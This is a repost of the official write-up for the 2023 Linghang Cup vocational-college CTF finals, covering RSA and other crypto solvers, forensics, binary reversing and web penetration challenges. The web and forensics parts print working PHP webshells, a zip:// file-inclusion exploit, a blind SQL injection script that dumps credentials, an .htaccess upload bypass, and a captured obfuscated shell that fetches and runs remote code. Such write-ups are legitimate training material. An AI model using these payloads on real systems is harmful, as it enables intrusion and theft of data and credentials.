官方WP | 2023领航杯-高职组(决赛)

admin 2023年9月22日23:37:31评论64 views字数 14255阅读47分31秒阅读模式
官方WP | 2023领航杯-高职组(决赛)

点击上方蓝字关注我们


郑重说明



    数字人才创研院秉承探究学习与交流知识的原则,所有发布的技术文章仅供参考,目的在于助力你获得更多知识;与此同时,让我们共同遵守《网络安全法》,未经授权请勿利用文章中的技术内容对任何计算机系统进行非授权操作,否则对他人或单位而造成的直接或间接后果或损失,均由使用者本人负责。

   公众号发表的文章如有涉及您的侵权,烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!

Purpose of recommendation

官方WP | 2023领航杯-高职组(决赛)

推荐观点

官方WP | 2023领航杯-高职组(决赛)
官方WP | 2023领航杯-高职组(决赛)
  赛事的开展不仅给广大参赛学生提供了网络安全实战平台,同时也搭建了发现人才和人才交流的平台。
  竞技赛场,你追我赶,各参赛选手以竞赛活动为契机,以赛促学、以赛促训,畅享不一样“饕餮盛宴”的竞赛。
  知己知彼,百战百胜,小编分享官方WriteUp,旨在让大家了解赛事赛题的难度变化与知识范畴,发现团队薄弱之处,提升团队技术能力。
  推荐指数:★★★★★
官方WP | 2023领航杯-高职组(决赛)

01

密码安全




回文

01


  观察附件代码

`=QfzEDO4YDNlBzN4gzN0YGM1QzYyUGZ3QDZzgDM7V2Sn52bI52Q=` 结合题目回文,怀疑字符串正反有问题颠倒之后,去除=号(base64的填充) 解码即可得到flag。


官方WP | 2023领航杯-高职组(决赛)



RSA2

02


  1.审计task.py ,题⽬使⽤的rsa加密,密钥⽣成过程⽐较特殊。可以观察到两点。第⼀,使⽤了crt来⽣成加密指数e是 rsa with crt-Exponent,其次⽣成的p和q差异较⼤。

  2.构造矩阵,⽤sagemath运⾏该脚本,得到关键参数k和dq。

import gmpy2import libnum
k = 603601239605461619719962824215850028370828276194986402520006784945171666555162381560306067089554862768237542295127706223128204911327713581268000464342787657534895446276895456449104343518846054862311913534953258511+1dq = 1115967702502739
n = 24520888125100345615044288264230762903878924272518571342713995342063192899124989891699091460914318368533612522321639660343147487234147817765379565866063142022911783047710228071012334390251457138278189863078398353697056081286846816500611712981402958876560909958985941278622099006464269427107124576069124593580390423932176305639686809675964840679026457045269910781753881177055233058940084858058581167930068081780478893848660425039669034700316924547379360271738374641525963541506226468912132334624110432284070298157810487695608530792082901545749959813831607311669250447276755584806773237811351439714525063949561215550447e = 11548167381567878954504039302995879760887384446160403678508673015926195316468675715911159300590761428446214638046840120602736300464514722774979925843178572277878822181099753174300465194145931556418080206026501299370963578262848611390583954955739032904548821443452579845787053497638128869038124506082956880448426261524733275521093477566421849134936014202472024600125629690903426235360356780817248587939756911284609010060687156927329496321413981116298392504514093379768896049697560475240887866765045884356249775891064190431436570827123388038801414013274666867432944085999838452709199063561463786334483612953109675470299c = 7903942109284616971177039757063852086984176476936099228234294937286044560458869922921692962367056335407203285911162833729143727236259599183118544731181209893499971239166798975272362502847869401536913310597050934868114362409772188138668288760287305966467890063175096408668396691058313701210130473560756912616590509776003076415730640467731466851294845080825312579944440742910769345079740436037310725065646739277834041891837233390010487460412084089630786396822488869754420904734966722826157548254882580507819654527378643632759059506306290252851428488883937359516531613654502801727220504711666666550673928496325962262842
q = (e * dq + k - 1) // kp = n // qassert n == p * qphi = (p-1) * (q-1)d = gmpy2.invert(e,phi)m = pow(c,d,n)print libnum.n2s(m)

  3.根据k和dq分解n,从⽽解密,获得flag。


RSA3

03


官方WP | 2023领航杯-高职组(决赛)


import loggingfrom functools import reducefrom Crypto.Util.number import *

def _polynomial_hgcd(ring, a0, a1): assert a1.degree() < a0.degree()
if a1.degree() <= a0.degree() / 2: return 1, 0, 0, 1
m = a0.degree() // 2 b0 = ring(a0.list()[m:]) b1 = ring(a1.list()[m:]) R00, R01, R10, R11 = _polynomial_hgcd(ring, b0, b1) d = R00 * a0 + R01 * a1 e = R10 * a0 + R11 * a1 if e.degree() < m: return R00, R01, R10, R11
q, f = d.quo_rem(e) g0 = ring(e.list()[m // 2:]) g1 = ring(f.list()[m // 2:]) S00, S01, S10, S11 = _polynomial_hgcd(ring, g0, g1) return S01 * R00 + (S00 - q * S01) * R10, S01 * R01 + (S00 - q * S01) * R11, S11 * R00 + (S10 - q * S11) * R10, S11 * R01 + (S10 - q * S11) * R11

def fast_polynomial_gcd(a0, a1): assert a0.parent() == a1.parent()
if a0.degree() == a1.degree(): if a1 == 0: return a0 a0, a1 = a1, a0 % a1 elif a0.degree() < a1.degree(): a0, a1 = a1, a0
assert a0.degree() > a1.degree() ring = a0.parent()
while True: logging.debug(f"deg(a0) = {a0.degree()}, deg(a1) = {a1.degree()}") _, r = a0.quo_rem(a1) if r == 0: return a1.monic()
R00, R01, R10, R11 = _polynomial_hgcd(ring, a0, a1) b0 = R00 * a0 + R01 * a1 b1 = R10 * a0 + R11 * a1 if b1 == 0: return b0.monic()
_, r = b0.quo_rem(b1) if r == 0: return b1.monic()
a0 = b1 a1 = r n1 = 52579135273678950581073020233998071974221658902576724000130040488018033110534210901239397446395736563148970863970460542205225993317478251099451639165369081820130823165642873594136020122857712288395352930384057524510346112486008850200845915783772351449146183974239444691330777565342525218070680067550270554767n2 = 68210568831848267339414957973218186686176324296418282565773310695862151827108036984694027795077376921170907068110296451176263520249799154781062517066423984526868547296781709439425857993705489037768605485740968600877866332458671029054092942851472208033494968784822459369206497698469167909174346042658361616469c1 = 42941712708129054668823891960764339394032538100909746015733801598044118605733969558717842106784388091495719003761324737091667431446354282990525549196642753967283958283202592037329821712755519455155110675327321252333824912095517427885925854391047828862338332559137577789387455868761466777370476884779752953853c2 = 62704043252861638895370674827559804184650708692227789532879941590038911799857232898692335429773480889624046167792573885125945511356456073688435911975161053231589019934427151230924004944847291434167067905803180207183209888082275583120633408232749119300200555327883719466349164062163459300518993952046873724005e = 65537P.<x> = Zmod(n2)[]f1 = x^e-c1f2 = (n1-x)^e-c2h = fast_polynomial_gcd(f1,f2)m = long_to_bytes(int(-h[0]))print(m)


02

数字取证




女儿的秘密

01


  1、打开附件文件,看到一个数据文件,仔细观察数据结构后,使用reverse+from hex恢复出7z文件。

   2、打开7z文件需要密码,结合提示,使用PasswareKitForensic暴力爆破6位数字,得到密码674344。

   3、解压后看到女儿的照片.jpg,打开显示文件格式不对,用010分析后,确认为docx格式文件,修改扩展名,打开后,删除图片,全选文本,复制后找到一串编码。

6347467a637a7046636d6f31565739615a6e423456445133516d70775a7a68785a7a4659625531445331703553304a714d574a4b4d47393063337057576c427250513d3d

  4、将转换为hex,并base64解码,得到:

pass:Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=

  5、打开secret.txt文件,看到:

gAAAAABk2vY8KwxIv0n9XgVk8EPbQimR9iCqSX_crxcRSf-z2RV2rX2Ol1KHmbeAsxOyGR_i73vrl0FgLDCHHP9wWaXz37r5NmaWFXCwETQ2tYJM8vIFJVZ1Ptmtt2O7fXPQg6xA5-_dFOi-FYjF2RiqfXc39rbBLA==

  6、典型的fermet加密,使用python脚本解码即可。

from cryptography.fernet import Fernet
f=Fernet(b'Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=')miwen=b'gAAAAABk2vY8KwxIv0n9XgVk8EPbQimR9iCqSX_crxcRSf-z2RV2rX2Ol1KHmbeAsxOyGR_i73vrl0FgLDCHHP9wWaXz37r5NmaWFXCwETQ2tYJM8vIFJVZ1Ptmtt2O7fXPQg6xA5-_dFOi-FYjF2RiqfXc39rbBLA=='mingwen=f.decrypt(miwen).decode()print(mingwen)
##here is your flag CnHongKe{*****************}


流量分析

02


 1、打开流量包,简单看一下发现是apache的菜刀流量,在TCP数据流8中能发现线索。


官方WP | 2023领航杯-高职组(决赛)


  2、解密之后发现是打包了一个www文件夹,通过tcp报9中 提取rar压缩包文件,发现为wordpress目录文件,将web目录导入D盾查杀,找到问题文件`wwwwp-contentpluginshello.php`,Hello.php中存在变异的shell。

官方WP | 2023领航杯-高职组(决赛)

if(empty($_SESSION['cfg']))      $_SESSION['cfg']=file_get_contents(hex2bin('687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73'));$arr=array(str_rot13(base64_decode($_SESSION['cfg'])),);array_filter($arr,str_rot13(base64_decode('bmZmcmVn')));

  3、解码得到另一个提示ui.js,打开是一串base64编码。

官方WP | 2023领航杯-高职组(决赛)

  4、解码得到字符

官方WP | 2023领航杯-高职组(决赛)

  5、继续解凯撒密码, 尝试rot13即可解码。

官方WP | 2023领航杯-高职组(决赛)



03

应用程序




FI4

01


  1、使用ida打开题目附件可以直接定位到main函数,但是main函数内有几处花指令要去除。

官方WP | 2023领航杯-高职组(决赛)

  2、部分ida版本在用nop去除花指令之后可能会出现main函数结束点定位错误,需要手工设置。

官方WP | 2023领航杯-高职组(决赛)

  3、完成以上步骤就可以正常反编译。

反编译后main函数逻辑如下:先判断输入开头是不是”flag{“,结尾是不是”}”,长度是不是38将输入分别通过sub_401260和sub_4014A0处理。将上述处理过的输入进行base64编码,码表是0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/和目标串比较Bxit+cbNDaWA9+MwSeG6UkQXP+diV2nVIdjtJLX9BkU=,相同则提示输入正确。先对sub_401260去除花指令。发现其逻辑类似如下python代码(假定text是函数入参):
text = text[16:] + text[:16]p1 = "".join([chr(ord(text[i]) ^ (ord(text[i+16]) ^ ord(text[i])) & 1) for i in range(16)])p2 = "".join([chr(ord(text[i+16]) ^ (ord(text[i]) ^ ord(text[i+16])) & 1) for i in range(16)])text = p1 + p2

  4、再对sub_4014A0进行分析,发现其为一个类似RC4的算法,和RC4唯一的不同点就是最后一步明文异或上流式密钥的过程改为加上流式密钥。综上可以写出如下解题python代码:

import base64def rc4decrypt(text, key = 'default-key'):    key_len = len(key)    #1. init S-box    box = list(range(256))#put 0-255 into S-box    j = 0    for i in range(256):#shuffle elements in S-box according to key        j = (j + box[i] + ord(key[i%key_len]))%256        box[i],box[j] = box[j],box[i]#swap elements    #2. make sure all elements in S-box swapped at least once    i = j = 0    for idx in range(len(text)):        i = (i+1)%256        j = (j+box[i])%256        box[i],box[j] = box[j],box[i]        k = (text[idx] - box[(box[i]+box[j])%256])&0xff        result[idx]=k        p1 = "".join([chr(result[i] ^ (result[i+16] ^ result[i]) & 1) for i in range(16)])    p2 = "".join([chr(result[i+16] ^ (result[i] ^ result[i+16]) & 1) for i in range(16)])    return p2 + p1
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='newbase = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/='decode = lambda x: "".join([base[newbase.index(c)] for c in x])
c4 = "Bxit+cbNDaWA9+MwSeG6UkQXP+diV2nVIdjtJLX9BkU="c4 = decode(c4)print(rc4decrypt(map(ord,base64.b64decode(c4)),'cnhk'))


babyrust

02


  1、PE-x86_64,Rust

官方WP | 2023领航杯-高职组(决赛)

  2、IDA 加载完毕后,strings 定位 Please input flag,交叉引用跳过去

官方WP | 2023领航杯-高职组(决赛)

  3、往下翻几下,发现两个提示字符串,反编译看,结构很明了,前面是输入,主要判断在 sub_1400038D0,根据返回的结果显示正确与错误的提示,在call sub_1400038D0处下断。

官方WP | 2023领航杯-高职组(决赛)

  4、动态调试,输入 abc123 回车后,进入断点,rcx就是输入的字符串结构,这里发现输入的没有什么变化,前面的就先不看了,直接跟进去。

官方WP | 2023领航杯-高职组(决赛)

  5、跟进来后,第一段call就是判断长度的 [rex+10h],这里可确认要求输入的字符串长度为16。

官方WP | 2023领航杯-高职组(决赛)

  6、继续分析,长度之后,比较前唯一用到 input [rsp+78h+var_20] 的就是 v3 = sub_7FF66CBB2B30(input) 了,末尾那个从程序结构上看可忽略,v3 唯一用到的地方就是最下面用于异或后进行比较的地方。

  7、继续调试后,分析如下,输入的字符串的循环取字符与 1234567890ABCDEF 作异或运算,再用结果和 byte_7FF620CE27B8 (487D461F5444721B1A57132702303B67) 作比较。

官方WP | 2023领航杯-高职组(决赛)

官方WP | 2023领航杯-高职组(决赛)

  8、按逆向结果处理得到 yOu+arE##gReAt~!

官方WP | 2023领航杯-高职组(决赛)



04

应用渗透




UUUpload

01


   1、打开网站,发现有文件上传功能。

  2、测试/index.php?url=upload 发现有文件包含调用,同时扫描发现了upload.php和upload.php.bak文件,判断文件包含限定了文件必须为php后辍名(其实是自动在参数后边加上.php的扩展名)。

  3、下载upload.php.bak 获取到源代码,发现是白名单限制,仅允许上传扩展名为jpg的文件。 

<div style="margin: 0 auto;margin-top: 100px; width: 500px;text-align: center;">    <form action="" method="post"          enctype="multipart/form-data">        <label for="file">Filename:</label>        <input type="file" name="file" id="file" />        <input type="submit" name="submit" class="btn btn-primary"  value="提交" /></br></br>        只允许上传jpg头像!    </form>    <br/><?php    $type = array("jpg");    if(isset($_FILES['file'])){        $fileext = end(explode('.', $_FILES['file']['name']));        if(!in_array($fileext,$type)){            echo "<script>alert('该文件类型不允许上传!')</script>";            exit();        }else{            #/app/upload/pic_xxxx.jpg            $uploadpath = 'upload/';            $filename = 'pic_' . md5(time()) . '.' . $fileext;            $uploadfile = $uploadpath . $filename;            move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);            echo  'upload success.';        }    }else{        exit();    }    ?></div>

  4、本地生成一句话木马a.php,内容为

<?php @eval($_POST['a'])?>

  压缩为zip格式,文件名a.zip,之后重命名为a.jpg,符合上传后辍。然后利用zip://伪协议进行包含。

  5、上传a.jpg之后,文件路径可以知道是`#/app/upload/pic_xxxx.jpg`  ,其中xxxx部分为`md5(time())`需要结合服务器返回的时间,生成对应md5值,组合生成如下路径,

如/app/upload/pic_eabb7f473a361c09089ed4ebcd552a02.jpg

官方WP | 2023领航杯-高职组(决赛)

官方WP | 2023领航杯-高职组(决赛)

  6、打开蚁剑,URL路径如下:

http://xxx//index.php?url=zip:///app/upload/pic_eabb7f473a361c09089ed4ebcd552a02.jpg%23a,

密码为a或者url写为:

http://xxx/index.php?url=zip://upload/pic_eabb7f473a361c09089ed4ebcd552a02.jpg%23a   ,密码为a均可得到webshell

官方WP | 2023领航杯-高职组(决赛)

  7、成功连接到webshell,在根目录下拿到flag。


sql-upload

02


  1、查看源码发现存在test/test用户,使用test/test进行登录,登录后只是显示了个性签名,但发现响应头如下

userinfo=eyJ1c2VybmFtZSI6InRlc3QiLCJwYXNzd29yZCI6InRlc3QifQ%3D%3D

  2、解码后的结果如下:

{"username":"test","password":"test"}

  3、尝试修改cookie进行注入

{"username":"test' and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=5-- ","password":"test"}爆破得到表长度为5
依次爆破表名为users{"username":"test' and (SELECT hex(substr(tbl_name,1,5)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0)=hex('users')-- ","password":"test"}`

  4、尝试编写代码进行盲注

import requests,base64
url = 'http://IP/index.php'flag = ''for i in range(1,500): low = 32 high = 128 mid = (low+high)//2 while(low<high): payload = "test' and substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'-- ".format(i,chr(mid)) datas = { "userinfo":base64.b64encode('{"username":"%s","password":"test"}'%(payload)) } #print(datas) res = requests.get(url=url,cookies=datas) #print(res.text,res.status_code) if "Welcome" in res.text: low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)

  5、盲注读出表结构:

CREATE TABLE "users" (  "id" integer,  "username" TEXT,  "password" TEXT)

  6、尝试爆破用户名和密码

import requests,base64
url = 'http://192.168.60.224:8083/index.php'flag = ''for i in range(1,500): low = 32 high = 128 mid = (low+high)//2 while(low<high): payload = "test' and substr((select hex(group_concat(username,password)) from users),{0},1)>'{1}'-- ".format(i,chr(mid)) datas = { "userinfo":base64.b64encode('{"username":"%s","password":"test"}'%(payload)) } #print(datas) res = requests.get(url=url,cookies=datas) #print(res.text,res.status_code) if "Welcome" in res.text: low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)
print('n'+flag.decode('hex'))

  7、得到zzadmin/phptxdy。进行登陆,查看页面原代码可发现关键代码:

$userdir = "images/".md5($_SERVER["REMOTE_ADDR"]);            if (!file_exists($userdir)) {                mkdir($userdir);            }            if ($isadmin && isset($_POST["upload"])){                $tmp_name = $_FILES["fileUpload"]["tmp_name"];                $name = $_FILES["fileUpload"]["name"];                $extension = substr($name,strrpos($name,".")+1);                if(preg_match("/ph/i",$extension)){                    die("hacker go away!");                }                if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {                    die("hacker go away!");                }                $this_file = fopen($tmp_name,"rb");                $bin = fread($this_file, 1);                fclose($this_file);                $str_into = @unpack("C1chars",$bin);                if($str_into["chars"]==0) {                    die("hacker go away!");                }                $image_type = exif_imagetype($tmp_name);                if(!$image_type){                    die("hacker go away!");                }                $upload_file_path = $userdir."/".$name;                move_uploaded_file($tmp_name, $upload_file_path);            }

  8、首先文件名后缀中不能包括`ph`,所以php,php5,phtml等都会被拦截,其次文件中不能包括`<?`,因为观察响应头发现使用的php版本较高,也不再支持`<script language=php> </script> `。可以想到通过上传`.htaccess`设置`auto_append_file`绕过前两个限制。第三个限制使用`exif_imagetype`判断文件是否有合法的图片头,所以我们需要构造一个既是合法`.htaccess`又有合法图片头的文件。同时校验了第一个字节是否为0字节,过滤掉wbmp格式。

  9、上传jpg文件

<?php eval($_POST[1]);`加密后为`PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==`,添加图片头`GIF89a`,因为base64解码是4个字符转换为3个字符,所以将加密内容前凑足8个字符,保证密文能正常解密,所以密文前添加GIF89aaa

官方WP | 2023领航杯-高职组(决赛)

  10、于是构造.htaccess

AddType application/x-httpd-php .shellphp_value auto_append_file "php://filter/convert.base64-decode/resource=2.jpg"

  11、查看php的`exif_imagetype`实现:

/* {{{ proto int exif_imagetype(string imagefile)  Get the type of an image */PHP_FUNCTION(exif_imagetype){   char *imagefile;    size_t imagefile_len;    php_stream * stream;    int itype = 0;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "p", &imagefile, &imagefile_len) == FAILURE) { return; }
stream = php_stream_open_wrapper(imagefile, "rb", IGNORE_PATH|REPORT_ERRORS, NULL); if (stream == NULL) { RETURN_FALSE; }
itype = php_getimagetype(stream, NULL); php_stream_close(stream); if (itype == IMAGE_FILETYPE_UNKNOWN) { RETURN_FALSE; } else {
ZVAL_LONG(return_value, itype); }}

  12、访问1.shell此时已经自动加载并执行了解码后的2.jpg中内容, 即可getshell,密码为1。

官方WP | 2023领航杯-高职组(决赛)


Game

03


官方WP | 2023领航杯-高职组(决赛)

  1、扫描存在.git目录

官方WP | 2023领航杯-高职组(决赛)

  2、Githack 下载代码后,发现存在stash暂存的数据,可以提取出未提交的文件,找到重要文件。

官方WP | 2023领航杯-高职组(决赛)

  3、经过仔细判断,网站存在反序列化。

官方WP | 2023领航杯-高职组(决赛)

官方WP | 2023领航杯-高职组(决赛)



官方WP | 2023领航杯-高职组(决赛)

往期推荐 · 值得阅看

漏洞复现|某友集团报表系统存在未授权访问+任意文件上传利用漏洞

2023-09-20

官方WP | 2023领航杯-高职组(决赛)

2023年HVV之POC&知识库总结

2023-08-29

官方WP | 2023领航杯-高职组(决赛)

XXE漏洞综合利用方法汇总

2023-07-14

官方WP | 2023领航杯-高职组(决赛)

PHPMyadmin的Getshell方法汇总

2023-07-01

官方WP | 2023领航杯-高职组(决赛)

ThinkPHP|送给渗透测试专家们的“福利”

2023-06-13

官方WP | 2023领航杯-高职组(决赛)

官方WP | 2023领航杯-高职组(决赛)


END

原文始发于微信公众号(数字人才创研院):官方WP | 2023“领航杯”-高职组(决赛)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月22日23:37:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   官方WP | 2023领航杯-高职组(决赛)https://cn-sec.com/archives/2059707.html

发表评论

匿名网友 填写信息